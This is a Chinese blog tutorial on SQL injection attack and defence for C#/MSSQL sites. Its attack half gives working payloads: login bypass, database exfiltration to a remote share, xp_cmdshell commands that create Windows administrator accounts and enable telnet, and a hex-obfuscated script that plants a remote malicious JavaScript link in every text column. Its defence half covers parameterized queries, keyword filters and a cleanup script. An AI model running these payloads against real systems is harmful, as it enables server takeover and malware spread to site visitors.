SQL注入攻防入门

 

什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

 

 

尝尝SQL注入

  1. 一个简单的登录页面

关键代码:(详细见下载的示例代码)

[PHP]privateboolNoProtectLogin(string userName, string password)

{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
       ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}[/PHP]
处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin  123456)1)   输入正常数据,效果如图:

201210311921598057

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′

 

2)   输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入

20121031192207853

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′

因为UserName值中输入了“–”注释符,后面语句被省略而登录成功。(常常的手法:前面加上’; ‘ (分号,用于结束前一条语句),后边加上’–‘ (用于注释后边的语句))

 

  1. 上面是最简单的一种SQL注入,常见的注入语句还有:

1)   猜测数据库名,备份数据库

  1. a)猜测数据库名:and db_name() >0 或系统表dbo.sysdatabases
  2. b)备份数据库:;backup database 数据库名to disk = ‘c:\*.db’;–

或:declare @a sysname;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’ ,name=’test’;–

2)   猜解字段名称

  1. a)猜解法:and (select count(字段名) from 表名)>0若“字段名”存在,则返回正常
  2. b)读取法:and (select top 1 col_name(object_id(‘表名’),1) from sysobjects)>0把col_name(object_id(‘表名’),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

3)   遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

  1. a)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;–

  1. b)利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;–

  1. c)利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;– (实验成功)

  1. d)利用 bcp 命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)

Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Exec master..xp_cmdshell N’BCP’即可查看BCP相关参数,

201211080214126330

4)   查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通过1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到当前用户是否具有该权限。

5)   设置新的数据库帐户(得到MSSQL管理员账户)

  1. d)在数据库内添加一个hax用户,默认密码是空

;exec sp_addlogin’hax’;–

  1. e)给hax设置密码(null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_password null,password,username;–

  1. f)将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–

6)   xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用cmd.exe 工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:

  1. a)判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ‘X’ AND name =’xp_cmdshell’

  1. b)恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:\inetput\web\xplog70.dll’;

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的过程 ‘sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

通过执行下面语句进行设置:

— 允许配置高级选项

EXEC sp_configure ‘show advanced options’, 1

GO

— 重新配置

RECONFIGURE

GO

— 启用xp_cmdshell

EXEC sp_configure ‘xp_cmdshell’, 0

GO

–重新配置

RECONFIGURE

GO

  1. c)禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;

  1. d)添加windows用户:

Exec xp_cmdshell ‘net user awen /add’;

  1. e)设置好密码:

Exec xp_cmdshell ‘net user awen password’;

  1. f)提升到管理员:

Exec xp_cmdshell ‘net localgroup administrators awen /add’;

  1. g)开启telnet服务:

Exec xp_cmdshell ‘net start tlntsvr’

7)   没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(windows7系统,测试下面SQL语句木有效果)

declare @shell int ;

execsp_OAcreate ‘w script .shell’,@shell output ;

execsp_OAmethod @shell,’run’,null,’C:\Windows\System32\cmd.exe /c net user awen /add’;

execsp_OAmethod @shell,’run’,null,’C:\Windows\System32\cmd.exe /c net user awen 123′;

execsp_OAmethod @shell,’run’,null,’C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add’;

在使用的时候会报如下错:

SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’、’sys.sp_OAMethod’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

解决办法:

sp_configure ‘show advanced options’, 1;

GO

RECONFIGURE;

GO

sp_configure ‘Ole Automation Procedures’, 1;

GO

RECONFIGURE;

GO

好了,这样别人可以登录你的服务器了,你怎么看?

8)   客户端脚本攻击

攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。

 

攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。

参考:注入:SQL注入 批量清除数据库中被植入的js

示例代码:(可在示例附带的数据库测试)

  1. a)向当前数据库的每个表的每个字段插入一段恶意脚本

    [php]
    <div class="line number1 index0 alt2"><code class="sql keyword">Declare</code> <code class="sql plain">@T </code><code class="sql keyword">Varchar</code><code class="sql plain">(255),@C </code><code class="sql keyword">Varchar</code><code class="sql plain">(255)</code></div>
    <div class="line number2 index1 alt1"><code class="sql keyword">Declare</code> <code class="sql plain">Table_Cursor </code><code class="sql keyword">Cursor</code> <code class="sql keyword">For</code></div>
    <div class="line number3 index2 alt2"><code class="sql keyword">Select</code> <code class="sql plain">A.</code><code class="sql keyword">Name</code><code class="sql plain">,B.</code><code class="sql keyword">Name</code></div>
    <div class="line number4 index3 alt1"><code class="sql keyword">From</code> <code class="sql plain">SysobjectsA,Syscolumns B </code><code class="sql keyword">Where</code> <code class="sql plain">A.Id=B.Id </code><code class="sql color1">And</code> <code class="sql plain">A.Xtype=</code><code class="sql string">’u'</code> <code class="sql color1">And</code> <code class="sql plain">(B.Xtype=99 </code><code class="sql color1">Or</code> <code class="sql plain">B.Xtype=35 </code><code class="sql color1">Or</code> <code class="sql plain">B.Xtype=231 </code><code class="sql color1">Or</code> <code class="sql plain">B.Xtype=167) </code></div>
    <div class="line number5 index4 alt2"><code class="sql keyword">Open</code> <code class="sql plain">Table_Cursor</code></div>
    <div class="line number6 index5 alt1"><code class="sql keyword">Fetch</code> <code class="sql keyword">Next</code> <code class="sql keyword">From</code>  <code class="sql plain">Table_Cursor </code><code class="sql keyword">Into</code> <code class="sql plain">@T,@C </code></div>
    <div class="line number7 index6 alt2"><code class="sql plain">While(@@Fetch_Status=0) </code></div>
    <div class="line number8 index7 alt1"><code class="sql keyword">Begin</code></div>
    <div class="line number9 index8 alt2"><code class="sql keyword">Exec</code><code class="sql plain">(</code><code class="sql string">’update [‘</code><code class="sql plain">+@T+</code><code class="sql string">’] Set [‘</code><code class="sql plain">+@C+</code><code class="sql string">’]=Rtrim(Convert(Varchar(8000),[‘</code><code class="sql plain">+@C+</code><code class="sql string">’]))+'</code><code class="sql string">'<script src=<a href="http://8f8el3l.cn/0.js%3E%3C/script">http://8f8el3l.cn/0.js></script</a>>'</code><code class="sql string">”</code><code class="sql plain">)</code></div>
    <div class="line number10 index9 alt1"><code class="sql spaces">    </code><code class="sql keyword">Fetch</code> <code class="sql keyword">Next</code> <code class="sql keyword">From</code> <code class="sql plain">Table_Cursor </code><code class="sql keyword">Into</code> <code class="sql plain">@T,@C</code></div>
    <div class="line number11 index10 alt2"><code class="sql keyword">End</code></div>
    <div class="line number12 index11 alt1"><code class="sql keyword">Close</code> <code class="sql plain">Table_Cursor</code></div>
    <div class="line number13 index12 alt2"><code class="sql plain">DeallocateTable_Cursor[/php]

     

  • b)   更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行

    [php]
    <div class="line number1 index0 alt2"><code class="sql keyword">dEcLaRe</code> <code class="sql plain">@s </code><code class="sql keyword">vArChAr</code><code class="sql plain">(8000) </code><code class="sql keyword">sEt</code> <code class="sql plain">@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; </code></div>
    <div class="line number2 index1 alt1"><code class="sql keyword">eXeC</code><code class="sql plain">(@s);</code><code class="sql comments">–[/php]

     

  • c)   批次删除数据库被注入的脚本

    [php]
    <div class="line number1 index0 alt2"><code class="sql keyword">declare</code> <code class="sql plain">@delStrnvarchar(500)</code></div>
    <div class="line number2 index1 alt1"><code class="sql keyword">set</code> <code class="sql plain">@delStr=</code><code class="sql string">'<script src=<a href="http://8f8el3l.cn/0.js%3E%3C/script">http://8f8el3l.cn/0.js></script</a>>'</code> <code class="sql comments">–要被替换掉字符</code></div>
    <div class="line number3 index2 alt2"></div>
    <div class="line number4 index3 alt1"><code class="sql plain">setnocount </code><code class="sql keyword">on</code></div>
    <div class="line number5 index4 alt2"></div>
    <div class="line number6 index5 alt1"><code class="sql keyword">declare</code> <code class="sql plain">@tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint</code></div>
    <div class="line number7 index6 alt2"><code class="sql keyword">declare</code> <code class="sql plain">@sqlnvarchar(500)</code></div>
    <div class="line number8 index7 alt1"></div>
    <div class="line number9 index8 alt2"><code class="sql keyword">set</code> <code class="sql plain">@iResult=0</code></div>
    <div class="line number10 index9 alt1"><code class="sql keyword">declare</code> <code class="sql plain">cur </code><code class="sql keyword">cursor</code> <code class="sql keyword">for</code></div>
    <div class="line number11 index10 alt2"><code class="sql plain">selectname,id </code><code class="sql keyword">from</code> <code class="sql plain">sysobjects </code><code class="sql keyword">where</code> <code class="sql plain">xtype=</code><code class="sql string">’U'</code></div>
    <div class="line number12 index11 alt1"></div>
    <div class="line number13 index12 alt2"><code class="sql keyword">open</code> <code class="sql plain">cur</code></div>
    <div class="line number14 index13 alt1"><code class="sql keyword">fetch</code> <code class="sql keyword">next</code> <code class="sql keyword">from</code> <code class="sql plain">cur </code><code class="sql keyword">into</code> <code class="sql plain">@tableName,@tbID</code></div>
    <div class="line number15 index14 alt2"></div>
    <div class="line number16 index15 alt1"><code class="sql plain">while @@fetch_status=0</code></div>
    <div class="line number17 index16 alt2"><code class="sql keyword">begin</code></div>
    <div class="line number18 index17 alt1"><code class="sql keyword">declare</code> <code class="sql plain">cur1 </code><code class="sql keyword">cursor</code> <code class="sql keyword">for</code></div>
    <div class="line number19 index18 alt2"><code class="sql spaces">        </code><code class="sql comments">–xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型</code></div>
    <div class="line number20 index19 alt1"><code class="sql keyword">select</code> <code class="sql keyword">name</code> <code class="sql keyword">from</code> <code class="sql plain">syscolumns </code><code class="sql keyword">where</code> <code class="sql plain">xtype </code><code class="sql color1">in</code> <code class="sql plain">(231,167,239,175) </code><code class="sql color1">and</code> <code class="sql plain">id=@tbID</code></div>
    <div class="line number21 index20 alt2"><code class="sql keyword">open</code> <code class="sql plain">cur1</code></div>
    <div class="line number22 index21 alt1"><code class="sql keyword">fetch</code> <code class="sql keyword">next</code> <code class="sql keyword">from</code> <code class="sql plain">cur1 </code><code class="sql keyword">into</code> <code class="sql plain">@columnName</code></div>
    <div class="line number23 index22 alt2"><code class="sql plain">while @@fetch_status=0</code></div>
    <div class="line number24 index23 alt1"><code class="sql keyword">begin</code></div>
    <div class="line number25 index24 alt2"><code class="sql keyword">set</code> <code class="sql plain">@sql=</code><code class="sql string">’update [‘</code> <code class="sql plain">+ @tableName + </code><code class="sql string">’] set [‘</code><code class="sql plain">+ @columnName +</code><code class="sql string">’]= replace([‘</code><code class="sql plain">+@columnName+</code><code class="sql string">’],'</code><code class="sql string">”</code><code class="sql plain">+@delStr+</code><code class="sql string">”</code><code class="sql string">’,'</code><code class="sql string">”</code><code class="sql string">’) where [‘</code><code class="sql plain">+@columnName+</code><code class="sql string">’] like ‘</code><code class="sql string">’%'</code><code class="sql plain">+@delStr+</code><code class="sql string">’%'</code><code class="sql string">”</code></div>
    <div class="line number26 index25 alt1"><code class="sql plain">execsp_executesql @sql</code></div>
    <div class="line number27 index26 alt2"><code class="sql keyword">set</code> <code class="sql plain">@iRow=@@rowcount</code></div>
    <div class="line number28 index27 alt1"><code class="sql keyword">set</code> <code class="sql plain">@iResult=@iResult+@iRow</code></div>
    <div class="line number29 index28 alt2"><code class="sql plain">if @iRow>0</code></div>
    <div class="line number30 index29 alt1"><code class="sql keyword">begin</code></div>
    <div class="line number31 index30 alt2"><code class="sql spaces">    </code><code class="sql plain">print </code><code class="sql string">’表:'</code><code class="sql plain">+@tableName+</code><code class="sql string">’,列:'</code><code class="sql plain">+@columnName+</code><code class="sql string">’被更新'</code><code class="sql plain">+</code><code class="sql color2">convert</code><code class="sql plain">(</code><code class="sql keyword">varchar</code><code class="sql plain">(10),@iRow)+</code><code class="sql string">’条记录;'</code></div>
    <div class="line number32 index31 alt1"><code class="sql keyword">end</code></div>
    <div class="line number33 index32 alt2"><code class="sql keyword">fetch</code> <code class="sql keyword">next</code> <code class="sql keyword">from</code> <code class="sql plain">cur1 </code><code class="sql keyword">into</code> <code class="sql plain">@columnName</code></div>
    <div class="line number34 index33 alt1"><code class="sql keyword">end</code></div>
    <div class="line number35 index34 alt2"><code class="sql keyword">close</code> <code class="sql plain">cur1</code></div>
    <div class="line number36 index35 alt1"><code class="sql keyword">deallocate</code> <code class="sql plain">cur1</code></div>
    <div class="line number37 index36 alt2"></div>
    <div class="line number38 index37 alt1"><code class="sql keyword">fetch</code> <code class="sql keyword">next</code> <code class="sql keyword">from</code> <code class="sql plain">cur </code><code class="sql keyword">into</code> <code class="sql plain">@tableName,@tbID</code></div>
    <div class="line number39 index38 alt2"><code class="sql keyword">end</code></div>
    <div class="line number40 index39 alt1"><code class="sql plain">print </code><code class="sql string">’数据库共有'</code><code class="sql plain">+</code><code class="sql color2">convert</code><code class="sql plain">(</code><code class="sql keyword">varchar</code><code class="sql plain">(10),@iResult)+</code><code class="sql string">’条记录被更新!!!'</code></div>
    <div class="line number41 index40 alt2"></div>
    <div class="line number42 index41 alt1"><code class="sql keyword">close</code> <code class="sql plain">cur</code></div>
    <div class="line number43 index42 alt2"><code class="sql keyword">deallocate</code> <code class="sql plain">cur</code></div>
    <div class="line number44 index43 alt1"><code class="sql plain">setnocount </code><code class="sql keyword">off</code></div>
    [/php]

  • d)我如何得到“HEX编码”?
  • 开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ )Ø 在线转换 (TRANSLATOR, BINARY)

    Ø  C#版的转换

    对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入

    比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:

    [php]<code class="sql keyword">declare</code> <code class="sql plain">@A </code><code class="sql keyword">varchar</code><code class="sql plain">(200);</code><code class="sql keyword">set</code> <code class="sql plain">@A=reverse(</code><code class="sql string">”</code><code class="sql string">’58803303431′</code><code class="sql string">’=emanresu erehw ‘</code><code class="sql string">’9d4d9c1ac9814f08′</code><code class="sql string">’=drowssaP tes xxx tadpu'</code><code class="sql plain">);</code>[/php]

  • 防止SQL注入
    1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。

    如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

    1. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

    在 ASP.NET 中,可通过web.config配置文件的<customErrors>节点设置:

    [php]
    <div class="line number1 index0 alt2"><code class="xml plain"><</code><code class="xml keyword">customErrors</code> <code class="xml plain">defaultRedirect="url" mode="On|Off|RemoteOnly"></code></div>
    <div class="line number2 index1 alt1"><code class="xml spaces">    </code><code class="xml plain"><</code><code class="xml keyword">error.</code> <code class="xml plain">. ./></code></div>
    <div class="line number3 index2 alt2"><code class="xml plain"></</code><code class="xml keyword">customErrors</code><code class="xml plain">></code></div>
    [/php]

  • mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。
    On 指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。
    Off 指定禁用自定义错误。这允许显示标准的详细错误。
    RemoteOnly 指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。

    看下效果图:

    设置为<customErrors mode=”On”>一般性错误:

    把危险的和不必要的存储过程删除

    xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。

    xp_cmdshell 能执行dos命令,通过语句sp_dropextendedproc删除,

    不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)

    xpsql70.dll(sqlserer 7.0)

    xp_fileexist 用来确定一个文件是否存在
    xp_getfiledetails 可以获得文件详细资料
    xp_dirtree 可以展开你需要了解的目录,获得所有目录深度
    Xp_getnetname 可以获得服务器名称
    Xp_regaddmultistring

    Xp_regdeletekey

    Xp_regdeletevalue

    Xp_regenumvalues

    Xp_regread

    Xp_regremovemultistring

    Xp_regwrite

    可以访问注册表的存储过程
    Sp_OACreate

    Sp_OADestroy

    Sp_OAGetErrorInfo

    Sp_OAGetProperty

    Sp_OAMethod

    Sp_OASetProperty

    Sp_OAStop

    如果你不需要请丢弃OLE自动存储过程

     

    1. 非参数化SQL与参数化SQL

    1)   非参数化(动态拼接SQL)

    1. a)检查客户端脚本:若使用.net,直接用Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。
    2. b)类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。
    3. c)长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。
    4. d)使用枚举:如果只有有限的几个值,就用枚举。
    5. e)关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!

    这边提供一个关键字过滤参考方案(MSSQL):

    [php]
    <div class="line number1 index0 alt2"><code class="csharp keyword">public</code> <code class="csharp keyword">static</code> <code class="csharp keyword">bool</code> <code class="csharp plain">ValiParms(</code><code class="csharp keyword">string</code> <code class="csharp plain">parms)</code></div>
    <div class="line number2 index1 alt1"><code class="csharp plain">{</code></div>
    <div class="line number3 index2 alt2"><code class="csharp spaces">    </code><code class="csharp keyword">if</code> <code class="csharp plain">(parms == </code><code class="csharp keyword">null</code><code class="csharp plain">)</code></div>
    <div class="line number4 index3 alt1"><code class="csharp spaces">    </code><code class="csharp plain">{</code></div>
    <div class="line number5 index4 alt2"><code class="csharp spaces">        </code><code class="csharp keyword">return</code> <code class="csharp keyword">false</code><code class="csharp plain">;</code></div>
    <div class="line number6 index5 alt1"><code class="csharp spaces">    </code><code class="csharp plain">}</code></div>
    <div class="line number7 index6 alt2"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"sp_"</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number8 index7 alt1"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex2 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"’"</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number9 index8 alt2"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex3 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"create "</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number10 index9 alt1"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex4 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"drop "</code><code class="csharp plain">, RegexOptions.IgnoreCase);   </code></div>
    <div class="line number11 index10 alt2"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex5 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"\""</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number12 index11 alt1"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex6 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"exec "</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number13 index12 alt2"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex7 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"xp_"</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number14 index13 alt1"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex8 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"insert "</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number15 index14 alt2"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex9 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"delete "</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number16 index15 alt1"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex10 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"select "</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number17 index16 alt2"><code class="csharp spaces">    </code><code class="csharp plain">Regex regex11 = </code><code class="csharp keyword">new</code> <code class="csharp plain">Regex(</code><code class="csharp string">"update "</code><code class="csharp plain">, RegexOptions.IgnoreCase);</code></div>
    <div class="line number18 index17 alt1"><code class="csharp spaces">    </code><code class="csharp keyword">return</code> <code class="csharp plain">(regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));</code></div>
    <div class="line number19 index18 alt2"><code class="csharp plain">}</code></div>
    [/php]

    优点:写法相对简单,网络传输量相对参数化拼接SQL小

    缺点:

    1. a)对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。
    2. b)无法满足需求:用户本来就想发表包含这些过滤字符的数据。
    3. c)执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。

    2)   参数化查询(Parameterized Query)

    1. a)检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。
    2. b)参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。
    3. c)所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。

    优点:

    Ø  防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)

    Ø  参数化查询能强制执行类型和长度检查。

    Ø  在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)

    缺点:

    Ø  不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。

     

    疑问:参数化如何“批量更新”数据库。

    1. a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。

    EG:

    [php]
    <div class="line number1 index0 alt2"><code class="csharp plain">StringBuilder sqlBuilder=</code><code class="csharp keyword">new</code> <code class="csharp plain">StringBuilder(512);</code></div>
    <div class="line number2 index1 alt1"><code class="csharp plain">Int count=0;</code></div>
    <div class="line number3 index2 alt2"><code class="csharp plain">For(循环)</code></div>
    <div class="line number4 index3 alt1"><code class="csharp plain">{</code></div>
    <div class="line number5 index4 alt2"><code class="csharp plain">sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());</code></div>
    <div class="line number6 index5 alt1"><code class="csharp plain">SqlParameter para=</code><code class="csharp keyword">new</code> <code class="csharp plain">SqlParamter(){ParameterName=@password+count.ToString()}</code></div>
    <div class="line number7 index6 alt2"><code class="csharp plain">……</code></div>
    <div class="line number8 index7 alt1"><code class="csharp plain">Count++;</code></div>
    <div class="line number9 index8 alt2"><code class="csharp plain">}</code>[/php]

    1. b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置SqlDbType = System.Data.SqlDbType.Structured

     

    疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。

     

    另外:想验证重用查询的,可以使用下面两段辅助语法

    [php]
    <div class="line number1 index0 alt2"><code class="sql comments">–清空缓存的查询计划</code></div>
    <div class="line number2 index1 alt1"><code class="sql plain">DBCC FREEPROCCACHE</code></div>
    <div class="line number3 index2 alt2"><code class="sql plain">GO</code></div>
    <div class="line number4 index3 alt1"><code class="sql comments">–查询缓存的查询计划</code></div>
    <div class="line number5 index4 alt2"><code class="sql keyword">SELECT</code> <code class="sql plain">stats.execution_count </code><code class="sql keyword">AS</code> <code class="sql plain">cnt, p.size_in_bytes </code><code class="sql keyword">AS</code> <code class="sql plain">[</code><code class="sql keyword">size</code><code class="sql plain">], [sql].[text] </code><code class="sql keyword">AS</code> <code class="sql plain">[plan_text]  </code></div>
    <div class="line number6 index5 alt1"><code class="sql keyword">FROM</code> <code class="sql plain">sys.dm_exec_cached_plans p </code></div>
    <div class="line number7 index6 alt2"><code class="sql color1">OUTER</code> <code class="sql plain">APPLY sys.dm_exec_sql_text (p.plan_handle) sql</code></div>
    <div class="line number8 index7 alt1"><code class="sql color1">JOIN</code> <code class="sql plain">sys.dm_exec_query_stats stats </code><code class="sql keyword">ON</code> <code class="sql plain">stats.plan_handle = p.plan_handle</code></div>
    <div class="line number9 index8 alt2"><code class="sql plain">GO[/php]

     

文 / Aex
loading